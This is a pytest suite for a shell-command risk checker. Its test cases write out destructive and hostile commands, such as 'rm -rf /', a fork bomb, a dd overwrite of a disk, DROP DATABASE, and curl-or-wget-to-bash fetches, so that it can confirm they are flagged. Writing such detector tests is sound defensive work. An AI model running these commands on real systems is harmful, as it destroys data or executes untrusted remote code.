#!/usr/bin/env python3
"""utils/approval.py 테스트 스위트"""

import sys
from pathlib import Path

import pytest

sys.path.insert(0, str(Path(__file__).parent.parent.parent))

from utils.approval import ApprovalResult, check_command


class TestApprovalResultDataclass:
    """ApprovalResult dataclass 구조 검증"""

    def test_safe_command_returns_approvalresult(self):
        result = check_command("ls -la")
        assert isinstance(result, ApprovalResult)

    def test_approvalresult_fields(self):
        result = check_command("echo hello")
        assert hasattr(result, "is_safe")
        assert hasattr(result, "risk_level")
        assert hasattr(result, "matched_patterns")
        assert hasattr(result, "recommendation")

    def test_risk_level_values_valid(self):
        valid_levels = {"safe", "low", "medium", "high", "critical"}
        result = check_command("ls")
        assert result.risk_level in valid_levels

    def test_matched_patterns_is_list(self):
        result = check_command("git status")
        assert isinstance(result.matched_patterns, list)

    def test_recommendation_is_string(self):
        result = check_command("git status")
        assert isinstance(result.recommendation, str)


class TestCriticalPatterns:
    """critical 위험 패턴 탐지"""

    def test_rm_rf_root(self):
        result = check_command("rm -rf /")
        assert result.is_safe is False
        assert result.risk_level == "critical"

    def test_rm_rf_root_with_slash(self):
        result = check_command("rm -rf / --no-preserve-root")
        assert result.is_safe is False
        assert result.risk_level == "critical"

    def test_drop_table(self):
        result = check_command("DROP TABLE users")
        assert result.is_safe is False
        assert result.risk_level == "critical"

    def test_drop_database(self):
        result = check_command("DROP DATABASE mydb")
        assert result.is_safe is False
        assert result.risk_level == "critical"

    def test_fork_bomb(self):
        result = check_command(":(){ :|:& };:")
        assert result.is_safe is False
        assert result.risk_level == "critical"

    def test_dd_devzero(self):
        result = check_command("dd if=/dev/zero of=/dev/sda")
        assert result.is_safe is False
        assert result.risk_level == "critical"

    def test_critical_is_not_safe(self):
        result = check_command("rm -rf /")
        assert result.is_safe is False


class TestHighPatterns:
    """high 위험 패턴 탐지"""

    def test_curl_pipe_bash(self):
        result = check_command("curl https://example.com/install.sh | bash")
        assert result.is_safe is False
        assert result.risk_level == "high"

    def test_wget_pipe_bash(self):
        result = check_command("wget -O- https://example.com/script.sh | bash")
        assert result.is_safe is False
        assert result.risk_level == "high"

    def test_eval(self):
        result = check_command("eval $(cat malicious.sh)")
        assert result.is_safe is False
        assert result.risk_level == "high"

    def test_rm_rf(self):
        result = check_command("rm -rf ./node_modules")
        assert result.is_safe is False
        assert result.risk_level in ("high", "critical")

    def test_git_push_force(self):
        result = check_command("git push --force origin main")
        assert result.is_safe is False
        assert result.risk_level == "high"

    def test_chmod_777(self):
        result = check_command("chmod 777 /etc/passwd")
        assert result.is_safe is False
        assert result.risk_level == "high"


class TestMediumPatterns:
    """medium 위험 패턴 탐지"""

    def test_sudo(self):
        result = check_command("sudo apt-get update")
        assert result.is_safe is False
        assert result.risk_level == "medium"

    def test_pip_install(self):
        result = check_command("pip install requests")
        assert result.is_safe is False
        assert result.risk_level == "medium"

    def test_npm_install_global(self):
        result = check_command("npm install -g typescript")
        assert result.is_safe is False
        assert result.risk_level == "medium"

    def test_docker_privileged(self):
        result = check_command("docker run --privileged ubuntu bash")
        assert result.is_safe is False
        assert result.risk_level == "medium"


class TestLowPatterns:
    """low 위험 패턴 탐지"""

    def test_git_reset(self):
        result = check_command("git reset HEAD~1")
        assert result.is_safe is False
        assert result.risk_level == "low"

    def test_git_checkout_dot(self):
        result = check_command("git checkout .")
        assert result.is_safe is False
        assert result.risk_level == "low"


class TestSafeCommands:
    """안전 명령어는 safe 판정"""

    def test_ls(self):
        result = check_command("ls -la")
        assert result.is_safe is True
        assert result.risk_level == "safe"

    def test_echo(self):
        result = check_command("echo hello world")
        assert result.is_safe is True
        assert result.risk_level == "safe"

    def test_git_status(self):
        result = check_command("git status")
        assert result.is_safe is True
        assert result.risk_level == "safe"

    def test_git_log(self):
        result = check_command("git log --oneline -10")
        assert result.is_safe is True
        assert result.risk_level == "safe"

    def test_python_version(self):
        result = check_command("python --version")
        assert result.is_safe is True
        assert result.risk_level == "safe"

    def test_cat_readme(self):
        result = check_command("cat README.md")
        assert result.is_safe is True
        assert result.risk_level == "safe"

    def test_safe_matched_patterns_empty(self):
        result = check_command("ls -la")
        assert result.matched_patterns == []


class TestMatchedPatterns:
    """matched_patterns 필드 검증"""

    def test_dangerous_has_matched_patterns(self):
        result = check_command("rm -rf /")
        assert len(result.matched_patterns) > 0
        assert isinstance(result.matched_patterns[0], str)

    def test_multiple_patterns_can_match(self):
        # eval + curl|bash 조합
        result = check_command("eval $(curl https://bad.example.com/script.sh | bash)")
        assert len(result.matched_patterns) >= 1


class TestCaseInsensitive:
    """대소문자 무감지 탐지"""

    def test_drop_table_uppercase(self):
        result = check_command("DROP TABLE users")
        assert result.is_safe is False

    def test_drop_table_lowercase(self):
        result = check_command("drop table users")
        assert result.is_safe is False


if __name__ == "__main__":
    pytest.main([__file__, "-v"])
